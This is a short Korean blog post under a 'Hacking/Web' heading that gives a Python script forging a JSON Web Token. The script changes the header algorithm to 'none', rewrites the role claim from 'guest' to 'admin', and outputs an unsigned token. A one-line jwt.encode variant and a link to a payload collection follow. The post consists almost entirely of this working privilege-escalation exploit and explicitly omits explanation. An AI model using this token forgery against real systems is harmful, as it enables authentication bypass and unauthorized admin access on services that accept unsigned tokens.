Hacking/Web
JWT algorithm modify code
rootable
2019. 11. 19. 15:35
반응형
아래는 JWT 에서 algorithm을 none으로 수정하는 코드이다.
자세한 코드에 대한 설명은 생략한다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | #!/usr/bin/python # -*- coding: utf-8 -*- jwt = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw" header, payload, signature = jwt.split('.') print("header decode : "+header.decode('base64')) print("payload decode : "+(payload+"==").decode('base64')+'\n') # Replacing the ALGO and the payload username header = header.decode('base64').replace('HS512',"none") payload = (payload+"==").decode('base64').replace('guest','admin') header = header.encode('base64').strip().replace("=","") payload = payload.encode('base64').strip().replace("=","") # 'The algorithm 'none' is not supported' print( header+"."+payload+".") | cs |
- jwt 모듈이 있다면 간단하게 jwt.encode(payload,key,algorithm)으로 할 수 있다.
ex) jwt.encode({'user':'rootable','role':'admin'},'',algorithm="none")
참고) https://github.com/sobinge/PayloadsAllThesobinge/tree/master/JSON%20Web%20Token
반응형